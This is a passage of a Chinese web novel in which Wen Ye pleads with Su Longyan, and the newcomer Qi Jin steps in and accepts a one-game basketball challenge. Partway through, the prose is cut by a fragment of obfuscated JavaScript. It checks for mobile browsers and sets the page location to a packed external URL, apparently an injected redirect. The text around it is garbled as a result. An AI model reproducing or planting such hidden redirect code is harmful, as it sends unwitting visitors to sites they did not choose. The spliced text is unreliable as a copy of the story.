闻野一步,一步,缓缓朝着苏拢烟走来。 步伐踉跄,面色如纸,额前的碎发被汗水浸湿,凌乱的贴在额角。 他在苏拢烟面前几步远的地方停下,嘴唇翕动了几下,似乎想说点什么,又很难以启齿一般。 那张原本意气风发的脸上,此时尽是犹豫与挣扎。 过了良久,他像是下定了决心,面颊涨得通红,沙哑艰涩道:“小烟……” “对不起……” 他埋着头,不敢看苏拢烟的眼眸。 “我……我下次再也不敢了,真的……” 他又抬起头,眼底盛满乞求,声音也放软了,卑微道:“你,你能不能给我一个机会?我们……和好如初,好不好?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575213|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 下次?还有下次? 和好如初?他怎么好意思说出口的?怎么敢说出口的?! 苏拢烟要被他气笑了。 他微微垂头,贝齿陷入嫣红的下唇唇瓣,渗出细微的痛楚。 然后,他抬起手,指尖拈着眼镜框,扶了扶鼻梁上那副银丝边眼镜。 镜链在午后的日光下折射出细碎璀璨的银光,轻轻摇曳。 他正要开口回绝,碾碎闻野不切实际的幻想,结束这场闹剧,手腕蓦地一紧,闻野扼住了他。 力道很大。 “小烟,别走!求你了,再给我一次机会,我真的知道错了!我发誓,发誓以后只对你一个人好!” 苏拢烟只觉得一股恶寒袭上心头,他想要奋力甩开闻野的手,却被攥得更紧。 “闻野,放手!”他冷声呵斥道。 “砰——!”一颗篮球携着劲风呼啸飞来,重重砸在闻野身侧的墙壁上。 墙皮簌簌掉下尘埃。 闻野差点被砸懵了,攥着苏拢烟的那只手也稍稍松了一些。 苏拢烟顺势抽回手,后退了几步,与闻野拉开一段宽大的距离。 他抬起琥珀色的水眸,望向篮球飞来的方向。 一个高硕挺拔的身影逆着光,翩翩走来。 少年穿着纯白T恤,衣袖照旧卷至肩头,露出臂膀上漂亮的肌肉线条。他的肩头挎着一只篮球包,银灰色的刘海沿着俊秀的面部轮廓,垂在颌边,眸光透着锐气,一瞬不瞬地盯着闻野。 祁禁。 苏拢烟眉头舒展,诧异一闪而过,转瞬被暖流包裹住心头。 “你他妈谁啊?”闻野惊魂甫定,怒火在“劫后余生”中燃烧凶猛,他转过身,冲着祁禁咆哮。 祁禁走近,站定在苏拢烟身前的位置,地上的影子形成一道微妙的保护姿态。 他没有正眼看闻野,只是微微偏头,对着苏拢烟粲然一笑,笑容被日光烘托得过分干净,又有点痞气:“学长,没事吧?” 清朗的声音传来,令苏拢烟觉得沐露梳风。 “我没事。”他轻声应道。 闻野见状,意识到自己被无视了,愈发怒不可遏,他指着祁禁:“小子,我问你话呢!你他妈谁啊?” 祁禁的眸光慢悠悠流转到闻野身上,笑意敛起,“我是你的情敌啊”,他勾了勾唇,一字一句,咬字说道。 “情敌?!”闻野一愣,而后嗤笑道,“就凭你?” 苏拢烟眼镜镜片后的眸光烁动了一下。 祁禁不以为意,上前一步,居高临下的俯视闻野,眸底溢出的压迫感让闻野不自禁倒退半步。 “虽然”,祁禁唇角的笑意愈发鲜明,“你没什么资格当我的对手”。 他又看向苏拢烟,眸光柔和下来,松烟墨染中盛满了星辰般的碎光,口吻坚定,“你身边这位苏拢烟学长,我追定了!” 苏拢烟的心脏蓦地狂跳起来,深浓的绯色覆上脸颊。 这孩子在说什么?! 周围窃窃的人声逐渐停息,只剩下祁禁的宣告回荡在走廊里。 闻野像是被踩到尾巴似的炸毛了,骂骂咧咧地,“你小子大白天做什么春秋大梦?”,他怒极反笑,“你听清楚了,小烟是我的!轮得到你在这里狺狺狂吠?!” 苏拢烟闻言,淡然冷笑。 闻野眯了眯眼睛,上下打量起祁禁,好像在回想着什么。 “哦,我想起来了!”他一拍大腿,脸上露出鄙夷,“你不就是今年特招进运动训练专业的那个……那个叫什么来着?祁禁,对吧?一个连校队正式选拔都没参加,靠着家里关系进来的关系户!”,他像是抓到了什么救命稻草般的把柄,傲慢道。 “小子,既然你这么带种,还敢自称‘情敌’,”闻野眼珠一转,一个主意袭上心头,“敢不敢和我打一场?” 打一场? 苏拢烟眉头蹙起,心中感到不详。 正要阻止,闻野愈加兴奋道,“我们就来一场3V3篮球对抗赛。”,他仿佛已经看到了自己获得胜利,祁禁灰溜溜退场的场景,“你去找两个帮手,我这边叫上我们校篮球队的两个主力,跟你玩玩!三局两胜,怎么样?谁的队伍赢了,谁就有资格追求小烟。” “追求小烟”四个字他咬得很重,眼神挑衅,势在必得似的瞥向苏拢烟。 他把我当什么了?可以随意下注的战利品吗? 怒火自苏拢烟心底腾起,他正要开口拒绝这荒谬的提议…… “好啊,不过呢……”祁禁挑了挑眉弓,笑靥张扬。 闻野见他答应得爽快,摩拳擦掌,迫不及待道:“算你有点胆色。条件你随便提,别到时候哭鼻子就行。” “条件”,祁禁伸出修长的手指,摩挲着下颌,沉思了片晌,笑意未减,“很简单”。 “我只打一局。” “一局,定胜负。”